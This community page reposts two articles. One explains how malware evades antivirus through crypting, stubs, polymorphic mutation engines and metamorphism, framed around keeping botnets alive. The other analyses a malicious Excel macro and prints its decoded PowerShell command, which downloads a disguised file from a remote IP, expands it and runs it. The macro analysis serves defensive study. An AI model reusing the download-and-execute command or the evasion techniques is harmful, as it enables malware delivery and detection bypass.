Search the Community

Before we start it's probably best to explain some things: Signature - A pattern of bytes used by an antivirus to identify malicious executables, this could be a string, parts of a function, or a hash. Crypting - This is the most common way of evading antivirus detections, it works by encrypting the malicious executable so the antivirus cannot match the malicious code to existing signatures. Payload - The malicious executable which is encrypted to evade detections, this is attached to the stub in some way (stored as a resource, added after then end of file, appended to a new or existing section). Stub - A simple program responsible for decrypting the payload and executing it in memory. Due to the payload being encrypted, antiviruses will attempt to generate signatures to match the stub's code, but because the stub is small and simple it can be easily modified to evade existing signatures. Polymorphism Polymorphism is a solution to a problem mainly found with worms/botnet: When an AV adds a new signature that detects the malicious executable, the infected file will be quarantined, leaving the malware running in memory until reboot. If a botmaster is running a botnet with thousands of bots, each time the stub is detected he's likely to lose a few hundred bots, his only choice: To keep updating the bots with a new stub before the previous one is detected (which for large botnets can be every few hours), leaving the hacker with very little free time. A solution to this would be to write malware capable of programmatically generating a unique stub and replacing the old one on execution, resulting in each computer having a different stub; this is know as polymorphism. there's a few ways to programmatically create unique code that performs the same function as the previous. Block Mutation A lot of assembly instructions can be freely movable, whilst some cannot. An instruction using a relative address (such as a jump or call), when moved will point to a different location, breaking the code; freely movable instructions such as those using absolute addresses or only registers can be moved anywhere. Block based polymoprphism works by breaking the code down into small blocks, which are then numbered; the number specifies the order in which they execute and the block is either marked as movable or immovable based on its containing instruction. The mutation engine can then reorder, relocate, or separate the movable block; using jumps or similar instructions to link them together so that they execute in the correct order. Junk code (random instructions which are never actually executed) can also be added between blocks to add more entropy and change the executable size. Register Swapping It's possible to write the code in such a way that registers can easily be switched out, for instance all occurrences of edx within a function could be replaced with ecx, changing a lot of bytes within the application. The only problem with this approach is there's only a few usable registers, making it easy to exhaust all possible combinations, and it's still possible to generate signatures based on the layout of the instructions. Internal Assembler + Intermediate Language A very effective approach is to embed an assembler within the payload, as well as create an intermediate language (IL) which the polymorphic engine uses to create ASM on the fly. A simple example would be the following IL code. pmov Reg1, 5 add eax, Reg1 In this example instructions prefixed with p will be mutated at an instruction level, whilst those without a prefix will just be assigned a register and compiled as ASM. The IL engine would then use a seed to randomly generate the p-prefixed instructions by picking an instruction, or group of instructions, to perform the operation, as well as assign a register to Reg1 and Reg2. The array of instructions to handle pmov would look something like this: push val pop reg mov reg, val xor reg, reg add reg, val Once the engine has picked which instruction it wishes to use, it would then fill in the register and value, then compile it to ASM. Here are some examples of final outputs. push 5 pop edx add eax, edx mov ecx, 5 add eax, ecx xor ebx, ebx add ebx, 5 add eax, ebx By using an IL, we avoid having to first disassemble the stub code before mutating it. Metamorphism Today advanced metamorphic malware which can efficiently evade signature detection is nearly impossible, but back in the days of DOS / 95 / 98 viruses, it has been achieved multiple times. The idea of metamorphism is to take polymorphism a step further and instead of encrypting the malicious executable and mutating the stub, the entire malicious executable is mutated, including the code required to perform the mutation. Malware that is required to create a new, unique copy of itself on every propagation is also required to disassemble previously mutated code and regulate size (because instructions can be mutated into multiple instructions, it's important to be able to do the opposite or the executable grows almost exponentially with every mutation). Due to the amount of consideration and effort that would have to go into creating modern metamorphic malware, most programmers opt to use polymorphism instead, as this allows them to generate output from a temporary representation. A simple mistake during disassembling could result in the executable ceasing to work, and it's a lot harder to debug and test metamorphism in large applications. Source

Introduction Yesterday I received in my company inbox an email with an attached .xlsm file named D92724446.xlsm coming from Clare588@78-83-77-53.spectrumnet.bg. Central and local AV engines did not find anything malicious, and a multiengine scan got 0/57 as result. I decided to investigate a little more in-depth in order to confirm that was a malicious file and to extract at least the code I was imagining being inside this document. General Information This is some general info collected: Name: D92724446.xlsm MD5: fea3ab857813c0d65cd0b6b6233a834b SHA1: 64eef048efe86fe35f673fd2d853a8a727934e6c SHA256: 75e3a4cd45c08ff242e2927fa3b4ee80858073a202dade84898040bfbb7847ef ssdeep 768:qEIo/BPRS5t1dbQjlshORhynxvWXLUYJdGnSCk:qIJM8jl6nIP File size: 36.1 KB ( 36978 bytes ) File type: Office Open XML Spreadsheet Virus Total information: First submission: 2015-02-18 10:35:06 UTC Last submission: 2015-02-19 08:58:57 UTC Others names: 93D9B24583.xlsm e94fcc43b0dc9c7eb350149b4ebdfd3d 61a47fa44dd55f5721ebe85aa83a32e6 I233185_486.xlsm L335966_246.xlsm 271269885.xlsm 4501B81210.xlsm e65fb3285617c7b4bbc833a466be6c42 5312970.xlsm 9D50B4390.xlsm DDE1368393.xlsm E30178611.xlsm 43c29faad6fc5984273afcc67593d802 FE731885.xlsm C47394.xlsm suspect.xls 090214399.xlsm Q884674_740.xlsm E015272_266.xlsm U506714_083.xlsm 43925982.xlsm 8BB4D89313.xlsm.zip 82AC485705.xlsm 8abb99eb6078b658e05aece79337378a 0BF2034112.xlsm Static Analysis I started my analysis having a quick look inside: At offset 0 we can quickly view 4 bytes that confirm the format of the file (50 4B 03 04). At this point, I tried to get more information and to see how this document was composed: This quickly confirm my first suspicions. At offset 0x000012f1 a .bin file is found. Going a little ahead, we can try to get the code of these instructions: The code has been extracted, and different files for Classes and Modules have been created under \OfficeMalScanner\VBAPROJECT.BIN-Macros. Opening these files with a simple text editor, I immediately found many obfuscated instructions, as reported in the image below: However, after a quick analysis I realized that the modules really important for extracting of the malicious code were numbers 11 and 14. This is because the module number 11 contains the instructions for running the obfuscated code assigned to the variable named “FfdsfF” and de-obfuscated through the function call “NewQkeTzIIHM”. “NewQkeTzIIHM” takes one parameter in input as string and returns a string. These are its main instructions: The -13 immediately brings to mind a de-obfuscation loop which employs the rot13 algorithm. At this point, I simply wrote few lines of vbs code to correctly extract the content and print it to a txt file called output.txt. Function WriteFile(sText) Set objFSO = CreateObject("Scripting.FileSystemObject") Set objMyFile = objFSO.OpenTextFile( "C:\Users\EOSec\Desktop\output.txt", 8, true, 0 ) objMyFile.WriteLine(sText) objMyFile.close() End Function Dim i,x,y x = "pzq-<X-]|„r`uryy;r…r-5[r„:\owrp-`†€rz;[r;droPyvr{6;Q|„{y|nqSvyr54u}G<<B;>FC;?A@;D<x„rsr„rs<stq€rr<q…‡~;w}t4942aRZ]2iWV\v|qsuv|VU;pno46H-r…}n{q-2aRZ]2iWV\v|qsuv|VU;pno-2aRZ]2iWV\v|qsuv|VU;r…rH-€n-2aRZ]2iWV\v|qsuv|VU;r…rH" For i = 1 To Len(x) y = y + Chr(Asc(Mid(x, i, 1)) - 13) Next WriteFile(y) This is the clear code obtained: cmd /K PowerShell.exe (New-Object System.Net.WebClient).DownloadFile('http://5.196.243.7/kwefewef/fgdsee/dxzq.jpg','%TEMP%\JIOiodfhioIH.cab'); expand %TEMP%\JIOiodfhioIH.cab %TEMP%\JIOiodfhioIH.exe; start %TEMP%\JIOiodfhioIH.exe; And this the whois of the remote IP: inetnum 5.196.243.0 – 5.196.243.7 netname Just_Hosting country IE descr Just Hosting admin-c OTC9-RIPE tech-c OTC9-RIPE status ASSIGNED PA mnt-by OVH-MNT source RIPE # Filtered A file named dxzq.jpg is downloaded. It’s really a CAB file (JIOiodfhioIH.cab) that is then expanded to JIOiodfhioIH.exe and run. Source